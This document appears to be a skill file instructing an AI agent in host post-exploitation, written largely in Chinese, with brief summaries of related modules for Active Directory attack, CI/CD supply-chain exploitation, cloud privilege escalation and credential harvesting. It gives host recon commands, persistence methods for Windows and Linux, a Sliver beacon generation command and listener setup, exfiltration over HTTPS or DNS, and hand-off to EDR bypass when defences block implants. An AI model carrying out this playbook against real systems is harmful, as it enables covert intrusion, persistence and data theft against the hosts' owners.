post

OS post-exploitation after a stable host foothold: quiet host recon, host-native persistence (Windows Run/tasks/services/COM/WMI and Linux SSH/cron/systemd/SUID), long-term C2 (Sliver primary, Mythic/Havoc optional), targeted collection and exfil, and engagement cleanup. Does not own AD/cloud/K8s native persistence, Ligolo pivoting, LSASS dumping, or EDR bypass. Operator selects objectives; success is a live callback, verified persistence, delivered loot, or restored host — not generating an unused implant.

/post — 主机后渗透

scope: 已有 稳定 host foothold(不必 SYSTEM)后,做主机画像、host-native 持久化、长期 C2、定向收集/外带、清理。不做横移利用、域/云/K8s 平台持久化、本机提权、凭据破解。▸ 所选目标完成后,候选只认 ~/.claude/skills/shared/modules.yaml(modules.py tail),由操作者选。

持久化/清理会改系统,每步等操作者确认。条件成立就做到验证(beacon 回连、任务还在),不要停在「生成了 exe」。

工具:../shared/tools.md。本模块默认不查 CVE。禁止开局把持久化/C2/清理七份全读;决策树走到哪项目标再 Read 那一份。


开局与收尾

开局第一件事:Read ./notes.md。没有则 python ~/.claude/skills/bin/notes.py init。只按已拿下/凭据继续。 走到哪条链,才 Read 一份 references/<file>.md。禁止开局全读、禁止凭记忆写 payload。 监听 / sudo / 输密码 / Permission denied:立刻停,说明等操作者做什么,等回报。不要假装已成功。 收尾:

  1. 追加 ./notes.md
  2. python ~/.claude/skills/bin/modules.py tail <本模块名> Read 备用:~/.claude/skills/shared/modules.yaml 禁止 ./modules.yaml 和 python ../bin/...
  3. 优先 default_next;never_default 不得当作默认(操作者点名除外)
  4. 名册外的名字不许建议
  5. 停。等操作者选 /模块 或 /clear /edr-bypass 半条链未完:打通后回本模块,不要 /clear。

0. 成功条件

操作者进本模块时选定 1~n 项目标:

稳定 host foothold
        ↓
A. 长期通道  → beacon 按约定 sleep 回连(不是 generate 成功)
B. 重启仍在  → logon/reboot 后仍能回来(至少查询到任务/服务/key + 一次回连)
C. 带走数据  → 指定文件到达操作机
D. 收工      → 本场投放物按 RESTORE 撤掉,notes 可复盘
        ↓
所选目标完成 → /post COMPLETE

不算成功: 只 generate、只加了 Run 没验证、只 find *.kdbx、只 wevtutil cl Security。

hashdump / getsystem / 网段枢轴 / AMSI patch 不是本模块正文(/creds /privesc-win /tunnel /edr-bypass)。


0.4 不要吸收

能力模块
Ligolo / 网段变可达/tunnel(会话里应急 portfwd 可以)
会话稳定、传文件/shell
SAM/LSASS/DPAPI/Titus/creds
Potato / getsystem/privesc-win /privesc-linux
loader / PPL / WDAC/edr-bypass
Golden Ticket / AD 对象/ad-attack
IAM AccessKey / Lambda/cloud-attack
K8s RBAC / DaemonSet/k8s

0.5 Endpoint Defense Boundary — 可选 /edr-bypass Handoff

仍属 /post、不是 EDR:

防火墙挡住 C2 端口(换 listener/transport)
GPO 禁 WMI / 禁计划任务(换原语)
用户没有 HKLM 权限(改 HKCU 或先提权)

只有 implant/持久化二进制已经在 OS 执行或落地 且被 AV/EDR/AMSI/WDAC 隔离或杀死:

post primitive (drop / beacon / persist)
        ↓
endpoint security blocks intended action?
├─ NO  → 继续 /post 直到所选目标完成
└─ YES → 操作者可临时选择 /edr-bypass
            ↓
         恢复落地或回连能力
            ↓
         返回 /post
            ↓
         把 C2/持久化做完

不要因为场上有 EDR 就把 /post 改成「只讨论、不投放」。被拦再交接。


1. 决策树

稳定 foothold
    ↓
Quiet 主机画像(谁在用、出网、杀软产品名、域没域)
    ↓
这次要什么?(可多选,每项只 Read 一份)
  画像 → references/host-recon.md
  通道 → references/c2-sliver.md ;回连失败再 Read c2-opsec.md
  留下 → Win: references/persistence-windows.md ;Linux: references/persistence-linux.md
  带走 → references/collection-exfil.md ;密钥文件交 /creds
  收工 → references/cleanup.md
    ↓
所选目标验证通过

2. Quiet 主机画像(先做)

whoami /all
quser
net session
net share
ipconfig /all
id; w; last -n 10
ip a; ip r; ss -tlnp
hostnamectl 2>/dev/null; echo $USERDNSDOMAIN

完整(会话、共享、出网、防御产品名)→ references/host-recon.md。不要跑 winPEAS。


3. Host-native 持久化

Windows 低权:HKCU Run / Startup / HKCU COM。
Windows 高权:HKLM Run / 服务 / SYSTEM 任务。WMI 高噪声,不当默认隐蔽。
Linux:authorized_keys、cron、systemd(含 user linger)、SUID;ld.so.preload 要 root。

写完必须查询验证,并记下 RESTORE。完整 → references/persistence-windows.md / references/persistence-linux.md。

平台持久化不要写在这里。


4. 长期 C2

P0 Sliver。看到 [*] Beacon <id>(或 session 交互)才算通道成功。

generate beacon --http C2 --os windows --arch amd64 --skip-symbols --seconds 60 --jitter 20 --name update
https --lhost 0.0.0.0 --lport 443

teamserver 不要对目标网暴露;implant → redirector → teamserver。完整 → references/c2-sliver.md、references/c2-opsec.md。

Mythic = P1。Havoc = 可选,先看仓库是否维护。Adaptix 只点名。会话内 socks5 应急可以;扫网段用 /tunnel。


5. 定向收集 / 外带

先写路径清单,再打包。默认 HTTPS;HTTPS 死再 DNS。撞到 .kdbx / .pem / credentials → /creds。完整 → references/collection-exfil.md。


6. 清理

先停 beacon、按持久化 RESTORE 撤投放物、删暂存 loot。默认不清 Security / auth.log 整卷。完整 → references/cleanup.md。


7. 完成后

目标:C2 / persist / loot / cleanup
验证:回连 ID / 任务名 / 文件哈希 / 已删对象
RESTORE 命令:
防御产品:

候选只按「开局与收尾」跑 python ~/.claude/skills/bin/modules.py tail。

Active Directory exploitation after domain credentials exist: Kerberos (AS-REP/Kerberoast including cracking the ticket then using the account), delegation, NTLM coercion/relay, lateral movement, ACL abuse, ADCS ESC1-ESC17 and CVE paths, dMSA/BadSuccessor, Kerberos reflection, identity confusion, management-plane, domain trust, and domain persistence. Own the current AD chain through crack-and-use to DA, equivalent domain control, or the targeted host SYSTEM. Do not stop after requesting TGS. Host C2 belongs to /post. Operator chooses next modules.

Active Directory reconnaissance with or without credentials: user/group/computer enumeration, ACL/delegation, ADCS, modern Windows LAPS, BloodHound, Server 2025/dMSA/Ghost SPN candidates, and trust mapping. Recon only — do not exploit Kerberoast-to-DA, DCSync, or change passwords. Operator may select /ad-attack after cards are ready.

cicd

Free

CI/CD pipeline and software-supply-chain exploitation: Jenkins, GitHub Actions, GitLab CI/CD, Azure DevOps, Gitea/Forgejo, self-hosted runners/agents, poisoned pipeline execution, artifact/cache abuse, dependency confusion, third-party Action trust, GitOps/registry poisoning, workload identity/OIDC, and emerging agentic CI/CD. Use this skill when the operator has access to a CI/CD system, source repository, build/deploy configuration, runner/agent, artifact/package/registry path, or software delivery trust chain.

Cloud control-plane exploitation for AWS, Azure/Entra, GCP, and Alibaba Cloud: IAM/RAM privilege escalation, impersonation, cross-account trust, serverless/compute control, and cloud-native persistence. Host OS persistence/C2 after root/SYSTEM belongs to /post. K8s RBAC belongs to /k8s. Operator chooses next modules; new identities default to /cloud-recon first.

Cloud control-plane reconnaissance for AWS, Azure/Entra, GCP, and Alibaba Cloud: identity, IAM/RAM, trust, resources, metadata, and managed-Kubernetes cloud-side boundary. Recon only — no policy changes, no privilege escalation. Operator may select /cloud-attack or /k8s.

creds

Free

Credential operations: secret discovery, classification, extraction, conversion, offline cracking of hashes the operator already has as a credential job, policy-aware spraying, NetNTLM capture, generic SMB relay, and Windows/Linux harvest. Do not hijack an in-progress /ad-attack Kerberoast/AS-REP chain (that module cracks and uses the ticket itself). Do not DCSync, read LAPS LDAP, or escalate cloud IAM. Usable credentials are recorded; the operator chooses the next module.
